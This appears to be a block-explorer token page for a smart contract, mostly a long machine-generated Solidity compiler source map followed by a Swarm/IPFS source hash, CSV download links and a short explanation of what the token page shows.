-;-1:-1:-1;;;;;16246:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;:35;;;16292:78;;;;16343:7;-1:-1:-1;;;;;16327:31:0;16336:5;-1:-1:-1;;;;;16327:31:0;;16352:5;16327:31;;;;643:25:1;;631:2;616:18;;497:177;16327:31:0;;;;;;;;15850:527;;;;:::o;14386:794::-;14506:23;14513:4;14519:2;14523:5;14506:6;:23::i;:::-;-1:-1:-1;;;;;14544:18:0;;14540:369;;14595:5;14579:12;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;14540:369:0;;-1:-1:-1;14540:369:0;;-1:-1:-1;;;;;14655:15:0;;14633:19;14655:15;;;:9;:15;;;;;;14689:19;;;14685:117;;;14736:50;;-1:-1:-1;;;14736:50:0;;-1:-1:-1;;;;;8620:32:1;;14736:50:0;;;8602:51:1;8669:18;;;8662:34;;;8712:18;;;8705:34;;;8575:18;;14736:50:0;8400:345:1;14685:117:0;-1:-1:-1;;;;;14845:15:0;;;;;;:9;:15;;;;;14863:19;;;;14845:37;;14540:369;-1:-1:-1;;;;;14923:16:0;;14919:213;;14985:12;:21;;;;;;;14919:213;;;-1:-1:-1;;;;;15083:13:0;;;;;;:9;:13;;;;;:22;;;;;;14919:213;15162:2;-1:-1:-1;;;;;15147:25:0;15156:4;-1:-1:-1;;;;;15147:25:0;;15166:5;15147:25;;;;643::1;;631:2;616:18;;497:177;15147:25:0;;;;;;;;14386:794;;;:::o;6604:201::-;6693:22;6701:4;6707:7;6693;:22::i;:::-;6688:110;;6739:47;;-1:-1:-1;;;6739:47:0;;-1:-1:-1;;;;;5762:32:1;;6739:47:0;;;5744:51:1;5811:18;;;5804:34;;;5717:18;;6739:47:0;5570:274:1;6688:110:0;6604:201;;:::o;16385:373::-;16489:6;;16499:2;16489:12;:34;;;;-1:-1:-1;16516:7:0;;-1:-1:-1;;;;;16505:18:0;;;16516:7;;16505:18;16489:34;16486:265;;;-1:-1:-1;;;;;1767:19:0;;;16539:187;;-1:-1:-1;;;;;16586:13:0;;:6;:13;;;;;;;;;;;;;16582:94;;16630:25;;-1:-1:-1;;;16630:25:0;;-1:-1:-1;;;;;8914:32:1;;16630:25:0;;;8896:51:1;8869:18;;16630:25:0;8750:203:1;14140:238:0;14263:5;;-1:-1:-1;;;;;14263:5:0;;;14255:13;;;;14251:120;;14285:19;14294:2;14298:5;14285:8;:19::i;14251:120::-;14338:21;14347:4;14353:5;14338:8;:21::i;12989:383::-;-1:-1:-1;;;;;1767:19:0;;;:23;13054:311;;-1:-1:-1;;;;;13094:10:0;;:6;:10;;;;;;;;;;;;;13089:83;;13132:24;;-1:-1:-1;;;13132:24:0;;-1:-1:-1;;;;;8914:32:1;;13132:24:0;;;8896:51:1;8869:18;;13132:24:0;8750:203:1;13054:311:0;-1:-1:-1;;;;;13193:8:0;;;;;;:4;:8;;;;;:19;:24;;13189:176;;-1:-1:-1;;;;;13239:10:0;;:6;:10;;;;;;;;;;;;;13234:120;;-1:-1:-1;;;;;13270:8:0;;;;;;13292:1;13270:8;;;;;;;:23;13312:26;;13275:2;;13325:5;;13312:8;:26::i;13382:742::-;13452:25;5863:4;13472;13452:7;:25::i;:::-;13448:669;;-1:-1:-1;;;;;13505:12:0;;:6;:12;;;;;;;;;;;;;13487:630;;13541:6;;13551:2;13541:12;13537:580;;-1:-1:-1;;;;;7399:13:0;;13570:10;7399:13;;;:4;:13;;;;;;;;:23;;;:32;;;;;13621:6;;13618:274;;13656:5;13651:2;:10;:23;;;;;13673:1;13665:5;:9;13651:23;13647:230;;;13699:14;13716:10;13721:5;13716:2;:10;:::i;:::-;13699:27;;13749:28;13757:4;13763:6;13771:5;13749:7;:28::i;13647:230::-;13833:24;;-1:-1:-1;;;13833:24:0;;-1:-1:-1;;;;;8914:32:1;;13833:24:0;;;8896:51:1;8869:18;;13833:24:0;8750:203:1;13537:580:0;13931:5;13913:14;13922:4;-1:-1:-1;;;;;7532:13:0;7505:7;7532:13;;;:4;:13;;;;;;;;:21;;:30;;;;;;;7447:123;13913:14;:23;;:36;;;;;13948:1;13940:5;:9;13913:36;13909:208;;;-1:-1:-1;;;;;13966:10:0;;;;;;:4;:10;;;;;;;;:18;;:24;;;;;:33;;13994:5;;13966:10;:33;;13994:5;;13966:33;:::i;:::-;;;;-1:-1:-1;13909:208:0;;-1:-1:-1;13909:208:0;;14038:5;14021:14;14030:4;-1:-1:-1;;;;;7532:13:0;7505:7;7532:13;;;:4;:13;;;;;;;;:21;;:30;;;;;;;7447:123;14021:14;:22;:36;;;-1:-1:-1;14047:10:0;;14021:36;14017:100;;;14081:24;;-1:-1:-1;;;14081:24:0;;-1:-1:-1;;;;;8914:32:1;;14081:24:0;;;8896:51:1;8869:18;;14081:24:0;8750:203:1;7915:331:0;8038:9;8034:205;;;-1:-1:-1;;;;;8064:13:0;;;;;;8091:1;8064:13;;;;;;;;:28;8142:12;:5;8148:6;8142:12;:::i;:::-;-1:-1:-1;;;;;8107:13:0;;;;;;:4;:13;;;;;;;;:23;;;:32;;;;:47;9580:37;9353:272;;:::o;8034:205::-;-1:-1:-1;;;;;;8187:13:0;;;;;;;;:4;:13;;;;;;;;:23;;;:32;;;;:40;7915:331::o;14:286:1:-;72:6;125:2;113:9;104:7;100:23;96:32;93:52;;;141:1;138;131:12;93:52;167:23;;-1:-1:-1;;;;;;219:32:1;;209:43;;199:71;;266:1;263;256:12;199:71;289:5;14:286;-1:-1:-1;;;14:286:1:o;679:548::-;791:4;820:2;849;838:9;831:21;881:6;875:13;924:6;919:2;908:9;904:18;897:34;949:1;959:140;973:6;970:1;967:13;959:140;;;1068:14;;;1064:23;;1058:30;1034:17;;;1053:2;1030:26;1023:66;988:10;;959:140;;;963:3;1148:1;1143:2;1134:6;1123:9;1119:22;1115:31;1108:42;1218:2;1211;1207:7;1202:2;1194:6;1190:15;1186:29;1175:9;1171:45;1167:54;1159:62;;;;679:548;;;;:::o;1232:173::-;1300:20;;-1:-1:-1;;;;;1349:31:1;;1339:42;;1329:70;;1395:1;1392;1385:12;1329:70;1232:173;;;:::o;1410:254::-;1478:6;1486;1539:2;1527:9;1518:7;1514:23;1510:32;1507:52;;;1555:1;1552;1545:12;1507:52;1578:29;1597:9;1578:29;:::i;:::-;1568:39;1654:2;1639:18;;;;1626:32;;-1:-1:-1;;;1410:254:1:o;1851:328::-;1928:6;1936;1944;1997:2;1985:9;1976:7;1972:23;1968:32;1965:52;;;2013:1;2010;2003:12;1965:52;2036:29;2055:9;2036:29;:::i;:::-;2026:39;;2084:38;2118:2;2107:9;2103:18;2084:38;:::i;:::-;2074:48;;2169:2;2158:9;2154:18;2141:32;2131:42;;1851:328;;;;;:::o;2184:180::-;2243:6;2296:2;2284:9;2275:7;2271:23;2267:32;2264:52;;;2312:1;2309;2302:12;2264:52;-1:-1:-1;2335:23:1;;2184:180;-1:-1:-1;2184:180:1:o;2369:254::-;2437:6;2445;2498:2;2486:9;2477:7;2473:23;2469:32;2466:52;;;2514:1;2511;2504:12;2466:52;2550:9;2537:23;2527:33;;2579:38;2613:2;2602:9;2598:18;2579:38;:::i;:::-;2569:48;;2369:254;;;;;:::o;3002:186::-;3061:6;3114:2;3102:9;3093:7;3089:23;3085:32;3082:52;;;3130:1;3127;3120:12;3082:52;3153:29;3172:9;3153:29;:::i;3193:322::-;3270:6;3278;3286;3339:2;3327:9;3318:7;3314:23;3310:32;3307:52;;;3355:1;3352;3345:12;3307:52;3391:9;3378:23;3368:33;;3420:38;3454:2;3443:9;3439:18;3420:38;:::i;3520:260::-;3588:6;3596;3649:2;3637:9;3628:7;3624:23;3620:32;3617:52;;;3665:1;3662;3655:12;3617:52;3688:29;3707:9;3688:29;:::i;:::-;3678:39;;3736:38;3770:2;3759:9;3755:18;3736:38;:::i;3785:127::-;3846:10;3841:3;3837:20;3834:1;3827:31;3877:4;3874:1;3867:15;3901:4;3898:1;3891:15;3917:1263;4019:6;4027;4035;4088:2;4076:9;4067:7;4063:23;4059:32;4056:52;;;4104:1;4101;4094:12;4056:52;4127:29;4146:9;4127:29;:::i;:::-;4117:39;;4175:2;4228;4217:9;4213:18;4200:32;4251:18;4292:2;4284:6;4281:14;4278:34;;;4308:1;4305;4298:12;4278:34;4346:6;4335:9;4331:22;4321:32;;4391:7;4384:4;4380:2;4376:13;4372:27;4362:55;;4413:1;4410;4403:12;4362:55;4449:2;4436:16;4471:2;4467;4464:10;4461:36;;;4477:18;;:::i;:::-;4523:2;4520:1;4516:10;4555:2;4549:9;4618:2;4614:7;4609:2;4605;4601:11;4597:25;4589:6;4585:38;4673:6;4661:10;4658:22;4653:2;4641:10;4638:18;4635:46;4632:72;;;4684:18;;:::i;:::-;4720:2;4713:22;4770:18;;;4804:15;;;;-1:-1:-1;4846:11:1;;;4842:20;;;4874:19;;;4871:39;;;4906:1;4903;4896:12;4871:39;4930:11;;;;4950:148;4966:6;4961:3;4958:15;4950:148;;;5032:23;5051:3;5032:23;:::i;:::-;5020:36;;4983:12;;;;5076;;;;4950:148;;;3917:1263;;5117:6;;-1:-1:-1;;;;5170:2:1;5155:18;;;;5142:32;;-1:-1:-1;;;;3917:1263:1:o;5185:380::-;5264:1;5260:12;;;;5307;;;5328:61;;5382:4;5374:6;5370:17;5360:27;;5328:61;5435:2;5427:6;5424:14;5404:18;5401:38;5398:161;;5481:10;5476:3;5472:20;5469:1;5462:31;5516:4;5513:1;5506:15;5544:4;5541:1;5534:15;5398:161;;5185:380;;;:::o;5849:277::-;5916:6;5969:2;5957:9;5948:7;5944:23;5940:32;5937:52;;;5985:1;5982;5975:12;5937:52;6017:9;6011:16;6070:5;6063:13;6056:21;6049:5;6046:32;6036:60;;6092:1;6089;6082:12;6131:273;6199:6;6252:2;6240:9;6231:7;6227:23;6223:32;6220:52;;;6268:1;6265;6258:12;6220:52;6300:9;6294:16;6350:4;6343:5;6339:16;6332:5;6329:27;6319:55;;6370:1;6367;6360:12;6409:127;6470:10;6465:3;6461:20;6458:1;6451:31;6501:4;6498:1;6491:15;6525:4;6522:1;6515:15;6541:422;6630:1;6673:5;6630:1;6687:270;6708:7;6698:8;6695:21;6687:270;;;6767:4;6763:1;6759:6;6755:17;6749:4;6746:27;6743:53;;;6776:18;;:::i;:::-;6826:7;6816:8;6812:22;6809:55;;;6846:16;;;;6809:55;6925:22;;;;6885:15;;;;6687:270;;;6691:3;6541:422;;;;;:::o;6968:806::-;7017:5;7047:8;7037:80;;-1:-1:-1;7088:1:1;7102:5;;7037:80;7136:4;7126:76;;-1:-1:-1;7173:1:1;7187:5;;7126:76;7218:4;7236:1;7231:59;;;;7304:1;7299:130;;;;7211:218;;7231:59;7261:1;7252:10;;7275:5;;;7299:130;7336:3;7326:8;7323:17;7320:43;;;7343:18;;:::i;:::-;-1:-1:-1;;7399:1:1;7385:16;;7414:5;;7211:218;;7513:2;7503:8;7500:16;7494:3;7488:4;7485:13;7481:36;7475:2;7465:8;7462:16;7457:2;7451:4;7448:12;7444:35;7441:77;7438:159;;;-1:-1:-1;7550:19:1;;;7582:5;;7438:159;7629:34;7654:8;7648:4;7629:34;:::i;:::-;7699:6;7695:1;7691:6;7687:19;7678:7;7675:32;7672:58;;;7710:18;;:::i;:::-;7748:20;;6968:806;-1:-1:-1;;;6968:806:1:o;7779:131::-;7839:5;7868:36;7895:8;7889:4;7868:36;:::i;7915:168::-;7988:9;;;8019;;8036:15;;;8030:22;;8016:37;8006:71;;8057:18;;:::i;8088:127::-;8149:10;8144:3;8140:20;8137:1;8130:31;8180:4;8177:1;8170:15;8204:4;8201:1;8194:15;8220:175;8257:3;8301:4;8294:5;8290:16;8330:4;8321:7;8318:17;8315:43;;8338:18;;:::i;:::-;8387:1;8374:15;;8220:175;-1:-1:-1;;8220:175:1:o;8958:125::-;9023:9;;;9044:10;;;9041:36;;;9057:18;;:::i;9367:128::-;9434:9;;;9455:11;;;9452:37;;;9469:18;;:::i

Swarm Source

ipfs://d0bb18703a480871838b1dbff3b4cd3dc9384d9858d890fa34971b9f2551e3f2
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.